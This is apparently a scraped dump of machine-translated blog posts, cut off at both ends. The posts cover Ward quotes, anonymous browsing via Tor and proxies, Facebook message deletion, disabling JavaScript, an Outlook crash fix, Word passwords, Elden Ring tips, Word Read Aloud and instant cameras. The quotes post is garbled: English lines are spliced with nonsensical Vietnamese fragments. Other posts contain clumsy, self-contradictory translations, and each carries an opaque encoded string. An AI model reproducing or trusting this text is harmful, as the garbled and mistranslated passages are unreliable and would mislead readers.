of love and harmony.\nSome people leave behind doubt and pessimism; others, traces of faith and optimism.\nSomeone left behind criticism and giving up; others, traces of gratitude and hope.\nWhat do you leave behind your back?\nEvery person has the power to make others happy.\nSome do nó đang chỉ vào một phòng - others bởi leaving the room.\nMột số nhân đã gỡ bỏ trails của gloom; others, trails of joy.\nMột số đã bỏ qua trails của hate và bitterness; others, trails of love and harmony.\nSome leave trails of cynicism and pessimism; others trails of faith and optimism.\nSome leave trails của criticism và resignation; others trails of gratitude and hope.\nWhat kind of trails do you leave? 27. Failure is not deadly. Failure should be my teacher, not a funeral person. It should be a challenge to reach new heights of achievement, not to drag us down to the abyss of despair. From failure, we can get valuable experiences.\nFailure is not fatal. Không làm việc được teacher, do not our undertaker. Không thể hỗ trợ chúng để tạo các tiến trình này, không thể đăng nhập chúng vào mới depths of despair. From honest failure can come valuable experience. 28. Greatness is not in property, power, fame or fame. It was discovered in kindness, humility, service and character.\nGreatness is not found in possessions, power, position, or prestige. It is discovering in goodness, humility, service, and character.\n  29. Believe that the ocean is out there because I see the stream.\nFaith is knowing there is an ocean, vì bạn đã tìm thấy một Brook. 30. Failure is a delay, but not a loss. It was a temporary winding, not a dead end.\nLỗi Failure, nhưng không bị gỡ bỏ. Đây là một tùy chọn tạm thời, không phải là một dead-end street. 31. The enemy of freedom is wasteful, indifferent, lethargic, and crafty attitude wants to have without giving up.\nFreedom's enemies are waste, lethargy, indifference, immorality, and the insidious attitude of something for nothing. 32. Forgiveness is a funny thing. It warms the heart and cools the pain.\nForgiveness is a funny thing. It warms the heart and cools. 33. There is one thing that we can do better than anyone else: we can be ourselves.\nThere is one thing we can do better than anyone else: we can be ourselves. 34. Life without forgiveness is just prison.\nA life lived without forgiveness is a prison.\n  35. A warm smile is the common language of kindness.\nA warm smile là sự ngôn ngữ chung của kindness. 36. The price of superiority is discipline. The price of mediocrity is disappointing.\nThe price of excellence is discipline. The cost of mediocrity is disappointment. 37. If you can imagine, you can achieve it. If you can dream, you can become it.\nNếu bạn có thể thực hiện nó, bạn có thể lấy nó. If you can dream it, you can become it.\n38. A small amount of compliments is worth the whole contempt. A recommended drop is more useful than pessimistic dandruff. A cup of goodness is better than a critical cabinet.\nĐã biết yêu cầu pinch là một giá trị của scorn. A dash of encouragement is more helpful than a dipper of pessimism. A cup of kindness is better than a cupboard of criticism. 39. Leadership is based on inspiration, not dominance; based on cooperation, not intimidation.\nLeadership is based on inspiration, not domination; on cooperation, không có số nguyên. 40. He does not risk anything, does nothing, nothing, nothing.\nHe can avoid grief and suffering,\nBut he cannot learn, feel, change, mature or really live.\nBeing chained by submission, he was a slave who gave up all freedom.\nOnly those who dare to risk have freedom.\nThe person who risks nothing, does nothing, has nothing, nothing.\nHe could avoid suffering and sorrow,\nBut he không thể đọc, Feel, thay đổi, grow or live.\nHe is a slave who has forfeited all freedom.\nOnly a person who risks is free.\nSee also: 20 good quotes to help you regain your beliefs and motivation\nncG1vNJzZmismaXArq3KnmWcp51ktLC7w2aorqekmsBustGopGavmaG5qq3MZpirrJiqv27DwKub\n","link":"/post/good-quotes-from-william-arthur-ward/","section":"post","tags":null,"title":"Good quotes from William Arthur Ward"},{"body":"Some methods to help you protect yourself from security personnel or someone who intends to monitor your surfing. In the past, people often recited: 'On the Internet nobody knows who you really are .' But now identifying the identity of a human online has become very simple. Never before have government agencies, websites or private businesses wanted to accurately track user activity when surfing the Web, the websites they visit are as easy as they are today. From this source of information, they can build many profiles (personal profiles) to improve your interests, hobbies and even your personal habits. And, with the need to find information online on many websites such as Google, Yahoo . increasingly high today, your private information is more prone to look than ever. But that does not mean you have and will become a victim. Some of the following methods help you get the habit of surfing anonymously, protecting your privacy online. You will probably find yourself a suitable way. First, what can they know about you? Every time you surf the Web, you will put yourself open for many curious people to look at. They will track the 'travel' process online, know what type of operating system and browser you are using, find out the hostname, discover the websites you have visited, check the History list. carefully study the Cache memory, check the IP address and use it for basic information such as geographic area . To a certain extent, Internet life is like an open, recorded book imprints in every place you go through. Websites use a variety of techniques to collect and gather online personal information. In it, the two most basic techniques are checking the IP address and placing cookies on the user's computer. Combining an IP address with a cookie will make it easier to create a personal profile. If you want to know what type of information is often collected by websites, see the two websites below. They often keep a close eye on your web browser, and now see what they find. Privacy Analysis of Your Internet Connection : collect and display basic information, such as operating system, screen resolution, previously visited website, regular system settings . • BrowserSpy : even delve into the system and record information such as whether there are some popular software on your computer (RealPlayer, Adobe Acrobat), what version is used.\n  Some personal information websites can find on Privacy Analysis of Your Internet Connection\nProtect yourself: surf anonymously \n The best way to ensure that websites cannot collect personal information about you and your computer is to surf the web anonymously. You only need to use an anonymous proxy server as an intermediary between yourself and the websites you visit. When using an anonymous proxy server, the browser does not contact the website directly. Instead, the browser tells the proxy server which website you want to use, the proxy server will contact the website. When viewing information on a website, you do not view it directly from the website. The website is distributed to you through the proxy server. The browser never directly contacts the Web server that holds the websites you are viewing. The website will see the IP address of the proxy server, not the real IP address of the computer. It cannot read cookies, view History lists or check the clipboard and cache because computers are not directly contacted. You can surf the web safely without any tracking. There are three main ways to use a proxy server. You can configure the browser as a server (support software can be used to configure); or go to an 'anonymous' website to contact the server; or download software that ensures anonymity for you when using the Internet. We will examine each method in detail. Self-anonymous with Tor The best free software to help you anonymously surf the Web today is Tor. With Tor, all communications (not just Web surfing, but also instant messaging or other applications) are taken out, surrounding a giant network of Tor servers, called 'onion routers. . This activity continues until all curious websites or individuals cannot track your activity. Installing Tor is quite easy. In the Tor software package, there are several other related software such as Privoxy, a proxy program. All software is self-configured. So you don't need to work much with port or road settings. When running, Tor has a small icon in the system tray. To start Tor, double-click the icon, select Star from the menu that appears; If you want to stop, you do the same, double-click the icon and select Stop. Browsing the Web with Tor is like using the Internet normally. If you don't believe it, you can regularly change Tor's 'identity' to make it more difficult for those who want to peek and track your whereabouts. Just right-click on the Tor icon, then select ' New Identity ' to finish. Tor also has an interesting bandwidth tool. It has no effect on anonymity but instead functions to illustrate bandwidth usage. Right-click the Tor icon, select Bandwidth Graph. You can see this tool activity, along with the right-click context menu. For FireFox users, download Torbutton. This tool will help you turn on / off Tor directly from within the browser. However, Tor has a drawback: sometimes it will slow down your Web surfing speed. But if protecting personal information is preferred, you should use it.\n  Tor keeps personal information safe when surfing the Web with expanded bandwidth illustration\nWebsites allow you to surf anonymously freely \n Some websites provide anonymous Web surfing tools for free through proxy servers. The benefit from this activity is clear: no matter where and when you use the Web, you are always anonymous. But there are also some drawbacks. Speed ​​tends to be slower, and in some cases is very slow. When using these websites, some do not display exactly and match as expected. The way the websites work is quite similar. Open the website, in a box, type the name of the website you want to visit, then you can surf the Internet anonymously. The website will use anonymous proxy server for you. The Cloak is such a website. It allows you to precisely customize the way anonymously, use or remove any Web surfing technique; It can also protect you with other methods such as turning off Java, JavaScript, or even removing banner ads. As shown in the illustration below, you can configure it all yourself before you start surfing the Web.\n  Web surfing configuration anonymously with Cloak\nAfter configuration is complete, type the website address you want to use, you will be anonymous. Notice the Address bar on your browser, you will see a rather strange URL, containing Cloak's URL and the website you are trying to use. For example, if you want to visit the CNN website, you will see the link in the form:\nhttp://www.the-cloak.com/Cloaked/+cfg=31/http%3A//www.cnn.com/ Note that if you want to remain anonymous during the Web surfing time, after you have visited the first website from Cloak, you can only click on the links. If you type the URL directly into the address bar, Cloak will no longer work. The Cloak is free but has some limitations. You will be surfing the web more slowly than usual and slowing down is becoming more and more noticeable. One of the slow reasons here is that the website has to register to pay for the service and therefore it will gradually reduce the number of free users. And this website may limit the amount of time you spend surfing anonymously, depending on how many users are accessing it at the same time. Use anonymous proxies in the browser If you do not like being imposed limits on your use of websites such as Cloak or any other similar service when you need to surf the web anonymously, you can easily set your own browser to use the server. anonymous proxy when surfing the web. To use an anonymous proxy server in the browser, you first need to find an appropriate proxy server. There are hundreds of free public server servers that can be used, but many of them are down or very slow to use. Some websites offer proxy lists like Public Proxy Servers and Atom InterSoft's proxy server list. If you want to search more, you can use Google search engine. For me, I prefer the Atom InterSoft list because it provides more information about each server. In addition, this list has a higher utilization rate and has a tool to check whether the proxy is still active. After finding the appropriate proxy server, you can adjust your browser. In Internet Explorer, select Tools \u0026gt; Internet Options , select Connections \u0026gt; LAN Settings tab . Check the box for ' Use a proxy server for your LAN '. In the Address section enter the proxy's IP address. At Port enter the port number, check the ' Bypass proxy server for local addresses ' box because you will not need to be anonymous in the local network itself. Double click OK to close the window. Now you can surf the web safely because the proxy server will protect your personal information. When using a proxy like this, you may be surfing the web more slowly, depending on the proxy used.\n  Set up anonymous web surfing in Internet Explorer\nIn FireFox, select Tools \u0026gt; Advanced , click on the Network tab and select the Settings button. Next is ' Manual proxy configuration ' and enter the proxy information (IP address, port number) and press OK twice. Problems with anonymous proxy server If you've set up your browser to use anonymous proxies as described above, you need to consider some potential dangers. Theoretically, hackers can completely set up a proxy server, then use it to package the information and website you visited. If you type the username and password, you may be stolen information. Although any event in practice is documented to validate this possibility, it is entirely possible. However, using some software like Tor or a free proxy server like Cloak does not put you at risk. Only when using public proxy servers can that happen. How do you deal with this situation? Before using a proxy server, search on Google for its name and address to see if there is an article, what information shows that the hacker used it. You can also use a server with the attention of being on the list for a long time. Because hackers often don't like to run a server for too long without catching it or turning it off. What can you do? There are a number of other ways to help protect anonymous online activity. If you are worried that your searches may be kept and used by search engines or government organizations, see the article ' 7 keep your Search History safe '. If you want to send an e-mail anonymously so that no one can find out what has been sent, you can use an email sender like AnonEmail of Anonymouse (Web-based) or QuickSilver (downloadable). There are also many other costly anonymous services, such as Anonymizer and Anonymizer Nyms service. These services will help you use a disposable e-mail address to protect your real e-mail identity. And finally the English documents. You can refer to the Electronic Privacy Information Center's online privacy guidelines online. On their website there are many links that provide software and websites to help you protect your privacy.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjKycnK2imnqqv4ysrKuemaO0bsDHnmSwnZJirq%2B7zbKkqK2jocY%3D\n","link":"/post/how-secure-is-surfing-the-web-anonymously/","section":"post","tags":null,"title":"How secure is surfing the web anonymously?"},{"body":"It is inevitable that you will receive advertising messages, instant messages from strangers on Facebook. And of course to delete those spam messages on Facebook, users are forced to delete each message individually. So why don't we try the Message Cleaner utility to delete all messages on Facebook in just a few simple steps?\nMessage Cleaner is a utility that is installed on Chrome browser, has a cleanup feature, deletes all messages on personal Facebook account. The utility has a simple, easy to use method with just a few steps to complete. How to use Message Cleaner to delete many messages on Facebook will be guided by Network Administrator in the article below.\nStep 1: First of all, we click on the link below to open the interface for installing Message Cleaner in the browser.\nhttps://chrome.google.com/webstore/detail/message-cleaner/dcanahkfmlgbgmnjlcmpmjcmbldniele At this interface, click on the Add to Chrome button to install the utility on the browser.\n  Step 2: Continue clicking the Add add-on button in the new dialog box that appears.\n  Finally, we will see the Message Cleaner utility icon at the end of the address bar on the browser, along with the message shown below.\n  Step 3: Next, log in to your personal Facebook account and access the Messenger messaging interface. In Messenger interface, click on the icon of Message Cleaner on the right on the same interface. Then, we will be provided with 2 different options including:\nDelete All Messages: Delete all messages on Facebook. Choose \u0026amp; Delete: Select and delete messages.   Step 4: If the user selects Choose \u0026amp; Delete to choose to delete the spam messages, keep the important messages, the utility will appear boxes to select messages in the interface. If you select all, press the Select All option.\n  Then click on the Delete Selected Messages button above to delete the marked messages.\n  Step 5: In the appropriate user field, you want to delete all Facebook messages without checking again, click Delete All Messages .\n  Soon after, messages on Facebook will be deleted. Depending on the number of messages in your personal account more or less, the time to delete messages by Message Cleaner utility takes place quickly or slowly.\n  When you return to the Facebook message interface, you will see an empty list, no more messages. So with just a few simple clicks we have deleted messages on personal Facebook accounts. In addition, the Message Cleaner utility also provides additional options for deleting messages, in case the user wants to keep important messages.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyao6VlnZrAtK3Gnqpmp55is6KvxJumqKNdorK0v8Snnp6qXay2tbSMo6ysrF2ku6Z5wqWgnKM%3D\n","link":"/post/how-to-delete-all-messages-on-facebook-messenger-with-just-one-click/","section":"post","tags":null,"title":"How to delete all messages on Facebook Messenger with just one click"},{"body":" This wikiHow teaches you how to turn off your web browser's JavaScript support. JavaScript is responsible for loading dynamic content in webpages, so turning it off can help websites load faster than usual. Most web browsers and their...\nMethod 3of 7:\nUsing Safari on Desktop  Open Safari. Click or double-click the Safari app icon, which resembles a blue compass, in your Mac's Dock.\n  Click Safari. It's in the top-left corner of the screen. A drop-down menu will appear.\n  Click Preferences…. This is in the drop-down menu. The Preferences window will open.\n  Click the Security tab. You'll see this tab at the top of the window.\n  Uncheck the \"Enable JavaScript\" box. It's next to the \"Web content\" heading in the middle of the window. Doing so disables JavaScript in Safari. If this box is already unchecked, JavaScript is disabled in Safari.   Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmoZqukaiws7XPrQ%3D%3D\n","link":"/post/how-to-disable-javascript/","section":"post","tags":null,"title":"How to Disable JavaScript"},{"body":"In the incident notice, the Microsoft 365 Admin Center confirmed the error and suggested that users use the web or mobile version instead until the problem is resolved. According to some other users, rolling back to an old version of Outlook will help fix this problem.\nOutlook is experiencing error 0xc0000005 globally If you get error 0xc00000005, here are two workarounds you can do:\nMethod 1: Roll back to the old version of Outlook, released 6/2020 To return to the version of Microsoft Outlook released on June 24, 2020 to troubleshoot the problem, follow these steps:\nB1: Open a command window by clicking Start Menu and typing CMD . When the command window opens, click it.\nB2: In the command prompt , type cd \"Program FilesCommon Filesmicrosoft sharedClickToRun\" and press Enter .\nRoll back to an older version of Outlook is one of the methods to solve the problem B3: Currently, you have been moved to the ClickToRun folder. Type officec2rclient.exe / update user updatetoversion = 16.0.12827.20470 and press Enter .\nB4. The downloader will be activated to download the special version of Microsoft Office and roll back to the old version. You need a bit of patience because this process will take a few minutes, depending on your computer configuration and network speed.\nB5. When the update is completed, the \"Updates were installed\" message will be displayed and you just need to click the Close button .\nB6. Now that Outlook has been rolled back to the old version, you can start Outlook to start work.\nSome users will not find this method effective. Then, you need to replace the command at B3 with officec2rclient.exe / update user updatetoversion = 16.0.12527.20880 to solve the problem.\nMethod 2: Run Outlook in Safe Mode If you do not want to roll back to an earlier version of Microsoft Office, you can run Microsoft Outlook in Safe Mode. However, you should note that in Safe Mode, all Outlook add-ons, including security utilities, will be disabled.\nTo start Outlook in Safe Mode, follow these steps:\nB1: Press and hold Ctrl button on keyboard then run Microsoft Outlook. Outlook will start and ask if you are sure you want to run it in Safe Mode.\nStart Outlook in Safe Mode B2: Click Yes to confirm.\nB3. After booting, you will see the Safe Mode indicator displayed in the title bar.\nThe title bar displays the Safe Mode status of Outlook You need to repeat these operations every time you want to start Outlook in Safe Mode.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXpxxMJpZ2loYGWCbrHRq6arZZ%2Bjeq6%2FjKisraSfpLhur8CuqqKml2K8trjOqKJmm6KWwKl5xqWmm5mcocY%3D\n","link":"/post/how-to-fix-0xc0000005-error-on-ms-outlook-causing-oulook-crash-globally/","section":"post","tags":null,"title":"How to fix 0xc0000005 error on MS Outlook causing Oulook crash globally"},{"body":"Today, most people use Microsoft Word to write documents. In the course of using a computer, we cannot avoid having others use our computer, meaning that they may open our documents. However, there are documents that we can show to others but there are documents that we cannot show to others such as diaries or contracts, documents that must be kept confidential. To avoid this situation, I would like to guide how to set a password for Word documents.\n  How to set a password for a Word document For Microsoft Word 2010: Step 1: Open the document Step 2: Set a password - On the toolbar, select File, select Protect Document, and select Encrypt Password\n  - Enter the password for the document\n  - Enter your password again\n  And the result is:\n  For Microsoft Word 2007: Step 1: Open the document Step 2: Select the Microsoft Word icon -\u0026gt; Save as. The Save as dialog box appears: + Enter the name of the document to set a password if you want to create a new name or leave it unchanged\n+ Select Tool -\u0026gt; General Options\n  Step 3: Set a password for the document The General Options window has the following options depending on your intended use for which you can set a password for your document:\n- Password to open: Set a password to open the document (When opening the document, you must enter this password to open it) - Password to modify: The password to edit the document (Set this to avoid others edited into your document)\n  Step 4: Enter the password again   That's it and the result is the same as in Microsoft Word 2010.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWarlanBqrrGZphmqJGowLi70Z1kn6eiYq5uw86rm2acn5jCrrHNrQ%3D%3D\n","link":"/post/instructions-for-setting-a-password-for-a-word-document/","section":"post","tags":null,"title":"Instructions for setting a password for a Word document"},{"body":"Elden Ring is such a challenging game that even veteran Dark Souls gamers will have a hard time but enjoy some of the game's challenging aspects.\nJust like Dark Souls, the player must use the game's primary form of currency, Runes, to level up and purchase items in the Elden Ring.\nPlayers must exchange Runes in place of Souls for currency in the Elden Ring, but they are similar. However, before they can level up their character to increase the stats of their choice, they will need to meet a Maiden named Melina.\n  Thankfully, players won't have to wait long before encountering Melina and gaining the ability to level up and obtain Elden Ring's Spectral Steed called Torrent. Everyone will meet Melina at the Gatefront Site of Grace once it is activated. It is located outside the archway through the enemy camp.\nHow to collect many Runes in Elden Ring Once the player has met Melina and rested at the Site of Grace, it's time for the character to cross the large archway to face the giant Troll waiting to rush at a high position.\nIt will likely be the biggest enemy gamers face early in the game, but there is an easy way to prepare and successfully defeat it.\nBefore going through the archway, make sure the character has allocated enough Flask to replenish his HP at the Site of Grace.\n  The player then needs to go through the archway with a shield with maximum protection to prevent archers from firing from the left and right sides. Note that stealth does not work in this area of ​​the Elden Ring.\n  Slowly go up the path with the shield in place until the Troll jumps from the high platform.\n  Now it's time to lure the Troll outside the portal while avoiding the arrows.\nOnce the Troll is outside the portal, it's time to lock the target.\nPlayers can target both legs and face.\nA blow to the face will temporarily blind the Troll and stagger.\nUse fire arrows or wait for the Troll to finish its attack while it is in a crouching position for a short time and slash at its face.\nApproaching its face with a sword relies heavily on luck, so the best method is to initiate foot attacks.\n  To do this, run past the Troll and roll between its legs when it starts to attack.\nThe player character will find himself behind the Troll with the back of his leg exposed.\nStart swinging your sword at your feet, but make sure you don't get caught as the Troll jumps into the air.\nWhen the Troll's health is half, it will draw its sword.\nThe same procedure will work, but the Troll will fight back with an attack from any angle.\nTo counter this attack, simply run towards the craggy walls, keeping the Troll locked in your character's line of sight.\n  Trolls will run into cliffs, temporarily stumbling on their own. This will make it more likely to be slashed at the leg.\nWhen the Troll is defeated, it will yield 1000 Runes at once.\nRest again at the Site of Grace, then repeat the steps above until you have obtained enough Runes to level up. This method can be used as often as required as the Troll will respawn after each break.\n  Fighting Trolls will take a lot of practice to master, but the runes it gives are totally worth it. This is one of the fastest and easiest ways to earn 1000 Runes over and over again, which helps to level up early in the Elden Ring. Moreover, if the character is defeated, the player will not have to go far to earn the Rune again.\nElden Ring ncG1vNJzZmismaXArq3KnmWcp51ksq2wxKdkq6GenHqywcicomasmaXAbrLOq2Scp5yhsqTAyKeeZqqlo7K0\n","link":"/post/quick-tips-for-collecting-runes/","section":"post","tags":null,"title":"Quick Tips for Collecting Runes"},{"body":"Microsoft Word has developed a new feature that helps people with difficulties with text called Read Aloud.Hope this feature will help eliminate typos once and for all.\nMost people can look at a word and immediately say the word is misspelled.Or look at a sentence and know if the sentence is correct.However, some people still find it difficult to do things like this.That's the main reason why Microsoft developed the Read Aloud text feature.\nSummary of common shortcuts in Microsoft Word Microsoft Word can read text\nRead Alound is a new feature located in the latest update of Office 365. Read Aloud does exactly what you expect, read the document to you.However, Word can now mark every word when it is read aloud in your workflow.\nIn a blog post about the details of all Office 365 updates, Microsoft says Read Aloud makes it easy to recognize and fix errors when writing, improve readability and correct accuracy for everyone. , especially people with dyslexia.\n  Read Alound in theReviewtab iscurrently only integrated in Office Insiders.However, Microsoft promises this feature will be widely available \"later this year\".This means, in Microsoft parlance, any time between now and December 31st.\nThese updates prompted the launch of Microsoft 365, a new enterprise service package designed to pressure IT departments.Microsoft 365 combines Office 365, Windows 10 and Enterprise Mobility + Security in one package, making it easier for businesses to switch to Microsoft.\nLet typos (typos in typing) become the past\nNot everyone needs to use the new Read Aloud feature in this Word.However, for those who have difficulty in spelling for any reason, this will certainly be helpful.\nncG1vNJzZmismaXArq3KnmWcp51kv6atw2aYpaelmXqnscCtrKudXam8br7EmptmrJWtwW61zWakopuipMCwstNmrqiqlA%3D%3D\n","link":"/post/read-aloud-feature-to-read-text-in-microsoft-word/","section":"post","tags":null,"title":"Read Aloud - feature to read text in Microsoft Word"},{"body":"Taking dozens of high-quality photos every minute with a smartphone is now easier than ever. But it is even more convenient to have a camera taken immediately for parties, vacations. Here are the top 10 instant cameras to help you choose the right camera.\nTop 18 best cheap cameras today Top travel camera for women Top best mirrorless cameras of 2019 Note: The price of instant camera taken in this article is for reference only at the time of writing. For the most accurate price, you should contact the seller.\n1. Polaroid Originals OneStep + (VND 2.9 million) Film type : Polaroid 600 \u0026amp; Polaroid i-Type Image size : 108 x 88mm Lens : 103mm / 89mm Minimum shooting distance : 60cm Focus modes : Macro, normal and landscape Flash : Integrated Timer : Yes Viewfinder : Optical Advantages:\nLarge, beautiful print Wireless trigger shooting mode Defect:\nPhoto costs expensive Only built-in battery   Excitement grew in the photography community as soon as The Impossible Project purchased the Polaroid name and announced the launch of Polaroid Originals, a new line of instant camera. OneStep + is the second version, after OneStep 2. It's quite similar to the previous camera, but Polaroid Originals makes reasonable tweaks instead of wasting time doing what was already there. It complements the 89mm portrait lens and built-in Bluetooth connection, allowing remote control of shooting via a smartphone. This instant camera has a number of new shooting modes, such as double exposure, using light painting (using a moving light source to add light to the subject) and even shooting. works with short, loud sounds like applause.\n2. Fujifilm instax mini 9 (929 thousand VND) Film type : Fujifilm instax mini Image size : 6.2 x 4.6cm Lens : 60mm f / 12.7 Minimum shooting distance : 35cm Exposure modes : Sunny, cloudy, indoor and Hi-key Flash : Integrated (cannot be deactivated) Timer : No. Viewfinder : Optical Advantages:\nEasy to use Many color options Defect:\nThe viewfinder is easily obscured Cannot turn off the flash   The Fujifilm instax mini 9 is an instant camera, using two AA batteries. Although made from plastic, the large buttons and bright colors bring the right appeal with the 'simple yet beautiful' style. The camera can print photos the size of a 54 x 86mm credit card (a 10-pack of prints costs about 25,000 VND each). The instant camera has a built-in flash that pops up every time you take a selfie, and supports selfie. Choose the shooting mode by rotating the camera lens and lighting usefully when used. With this camera you can get up close to 35cm away from the subject.\n3. Fujifilm instax mini 90 NEO CLASSIC (2.7 million VND) Film type : Fujifilm instax mini Image size : 6.2 x 4.6cm Lens : 60mm f / 12.7 Minimum shooting distance : 30cm Shooting modes: Party, kids, landscapes, macros, overlay effect, light bulb Flash : Integrated Timer : Yes Viewfinder : Optical Advantages:\nRechargeable battery LCD screen Defect:\nLack of handgrip camera handle Small viewfinder   The remarkable Fujifilm instax mini 90 NEO CLASSIC is Fujifilm's only instant camera that comes with a rechargeable battery that the company claims it is capable of shooting 10 film packs (credit card size) with one charge. With retro style, it is suitable for vintage photography enthusiasts. You can manually control the exposure and even turn off the built-in flash if the image is too bright. The overlapping photography mode helps to expand the photographer's creativity even though the results are 'reasonable'. It has a shutter-release button on the lens, which is used as a selfie mirror (the shutter button is usually at the top position). The advantage of this instant camera is that there is an LCD screen at the back showing the selected setting. However, the viewfinder of this camera is very small but still enough to take pictures, while using fake leather helps the camera more stylish.\n4. Fujifilm instax WIDE 300 (2.3 million VND) Film type : Fujifilm instax WIDE film Image size : 99 x 62mm Lens : 95mm f / 14 Minimum shooting distance : 40cm Exposure mode : Dark, normal, light Flash : Integrated Timer : No. Viewfinder: Optical Advantages:\nEasy to use Photo printed is larger than expected Defect:\nBulky design Small viewfinder   The Fujifilm instax WIDE 300 has up to four AA batteries, not two as with other cameras. It is considered the 'big father' in the line of instant cameras. It can take large pictures (using the instax WIDE film pack instead of the mini instax), close to the standard print size. Its bulky appearance is not suitable for selfies but the camera is made of plastic so it's relatively light. It has an adjustment lever that surrounds the shutter button on the bridge-camera control handle, which increases the power of the 95mm lens, while the built-in flash is a bit large. Photos are printed from the slot at the top of the camera. The only thing small on this instant camera is the viewfinder in the center on the left. Although it is limited to adjust the light and flash, but if you want to print photos that are closer to the standard, this is the right choice for you.\n5. Leica Sofort (5.8 million VND) Film type : Fujifilm instax mini format Image size : 6.2 x 4.6cm Lens : 60mm f / 12.7 Minimum shooting distance : 60cm Shooting modes : Macro, light bulb, auto, party and people, sports and action, photo taking, selfie Flash : Integrated Timer : Yes Viewfinder : Optical Advantages:\nFashionable design Defect:\nExpensive Leica-branded films are more expensive   The Leica Sofort instant camera features a boxy design with the famous red dot logo. It costs twice as much as the Fujiflim instax mini 90 camera above, uses the same rechargeable battery and the same film. However this is the cheapest Leica you can own. Ergonomically designed, the single top button is used to control the shutter, while the on / off button is used to prevent accidental activation on the backplate. It also has a narrow, high LCD display setting via simple icons. This instant camera has a selfie mirror, optical viewfinder and built-in flash with a 60mm lens with f / 12.7 aperture that provides 35mm focal length.\n6. Fujifilm instax SQUARE SQ6 (2.3 million VND) Film type : Fujifilm instax SQUARE film Image size : 6.2x6.2cm Lens : 65.75mm f / 12.6 Minimum shooting distance : 30cm Shooting modes : Auto, macro, normal, landscape, overlay effect, lighten, darken Flash : Integrated (with flash suppression mode) Timer : Yes Viewfinder : Optical Advantages:\nEasy to use Photo printed in square format Defect:\nSmall viewfinder Lack of handle   Fujifilm instax SQUARE SQ6 uses two lithium CR2 batteries that the manufacturers claim can be used until all 30 film packs have been taken, 10 each. This instant camera prints photos in square format 1: 1 suitable for users who like to take photos with smartphones posted on Instagram. You can select the body color, use the selfie mode and three color filters attached to the flash along with superimposed effects, macro mode and landscape. Not surprisingly, this camera uses the special Fujifilm SQUARE film, which provides an image size of 6.2 x 6.2cm.\n7. Lomo'Instant Wide (3.5 million VND) Film type : Fujifilm instax WIDE film Image size : 99 x 62mm Lens : 35mm f / 8 Minimum shooting distance : 35cm Exposure mode : Auto, light bulb, 1/30 fixed shutter speed mode Flash : Integrated (can turn off flash) Timer : Yes Viewfinder : Optical Advantages:\nUse Fujifilm instax WIDE film Simple controls Defect:\nSmall optical viewfinder Bulky   Lomo's Instant Wide Camera is the closest competitor to the Fujifilm instax WIDE 300. Photos printed with this camera are in a wider format and use 4 AA batteries. This instant camera is heavier than Fujifilm. Its design reminds you of the 1970s or 1980s. Pictures printed from this camera are great with well-adjusted exposure and flash off. It has a selfie mirror at the front and a large lever for shutter button with a lens ring that allows adjusting the focusing distance between 0.6m and infinity.\n8. Polaroid Originals OneStep 2 Stranger Things Edition (2.3 million VND) Film type : Polaroid 600 \u0026amp; Polaroid i-Type Image size : 108 x 88mm Lens : 106mm Minimum shooting distance : 60cm Flash : Integrated Timer : Yes Viewfinder : Optical Advantages:\nLarge and beautiful prints Retro style design Defect:\nPhoto prints are expensive Only built-in battery   Despite the lack of modern functions such as OneStep +'s portrait and Bluetooth lenses, this OneStep 2 special edition has something its sibling lacks in is the Stranger Things style and retro colors. With a blue and red design of the 80s, Polaroid Originals OneStep 2 Stranger Things Edition is Hawkins-style. It is even more evident in the Upside Down version when all logos are upside down. Even the instructions at the bottom of the camera show you how to use it to fight Demogorgons. You can even buy special-edition Stranger Things i-Type movies. Of course, below all this prosperity is the regular OneStep 2 camera, a great Polaroid camera that produces stunning photos.\n9. Kodak Smile Instant Print Camera (3.1 million VND) Film type : Zero Ink (ZINK) Image size : 2 x 3in Lens : 32mm f / 2.8 Shooting mode : Color, B\u0026amp;W Flash : Integrated Timer : Yes Viewfinder : LCD screen Advantages:\nSlim, beautiful design MicroSD card slot (internal memory three panels) Defect:\nZINK printout is not good Limited battery capacity   Kodak Smile Instant Print is a smartphone-like instant camera with beautiful design and uses ZINK technology (ink-free). It is really a miniature printer with a lens, printed 2x3 anti-stick image. Inside the camera is a relatively modest 5MP sensor (up to 10MP through interpolation). The photos it creates look more like photos from a printer than instant pictures. With the ability to add up to 256GB of microSD memory, you can take multiple photos, then select the images you want to print. The built-in battery only prints about 40 photos per charge, a modest amount compared to the 120-160 photos you get from Polaroids. The LCD screen is basic so don't expect the same honesty as in a traditional DSLR or mirrorless display.\n10. Lomo'instant Automat Glass (Magellan Edition) (VND 4.4 million) Film type: Fujifilm Instax Mini Lens : 38mm f / 4.5 Minimum shooting distance : 30cm Exposure mode : Automatic, Bulb Flash : Integrated Timer : No. Viewfinder : Optical Advantages:\nSuper wide lens The surface is covered with rubber Defect:\nSmall optical viewfinder Use CR2 battery   Automat Glass Lomo'instant's Magellan version has an appearance similar to its regular Automat camera, made of rubber. It has a 38mm lens that offers an ultra-wide 21mm angle. Lomography claims this is the first instant camera with a wide-angle lens, suitable for landscape or group portraits, along with a brighter f / 4.5 lens. Theoretically, this also results in superior image quality over instant point-and-shoot cameras, even though the image size is equal to a credit card.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVqMFutc2sq5qmpGKwornEq5hmoZ5if3F9mA%3D%3D\n","link":"/post/top-10-best-instant-camera-in-2019/","section":"post","tags":null,"title":"Top 10 best instant camera in 2019"},{"body":"For a game nearly a decade old, GTA 5 not only stands firmly in the modern gaming industry, but it can also compete with some of today's best games in excellent graphics and engineering. , with Rockstar Games doing their best and paying attention to detail in every aspect of the game. From realistic weather effects to character models, no details in the game are done in half and players will find it difficult to find a better game, refer to how to install GTA 5 below. here.\nHowever, there are many factors that lead to the visual success of a game and in this article, TipsMake will introduce you to 5 games with gameplay similar to GTA 5 but possessing superior graphics. than.\n1. Just Cause 4 The Just Cause series has achieved its own success and made its mark in the gaming industry thanks to its developer Avalanche learning a lot from its competitors' mistakes. Just Cause was not originally developed as a competitor to GTA because it is difficult to overshadow such a big brand at this point.\n  That's why, rather than imitating what GTA has done, Just Cause opted to focus on borrowing the open world genre and building the game in a more creative way. The result is a fusion of open-world games and elements of an action-fiction movie.\nJust Cause 4 not only encourages players to create chaos, but also rewards them for it. The destructive environment, the freedom of movement, 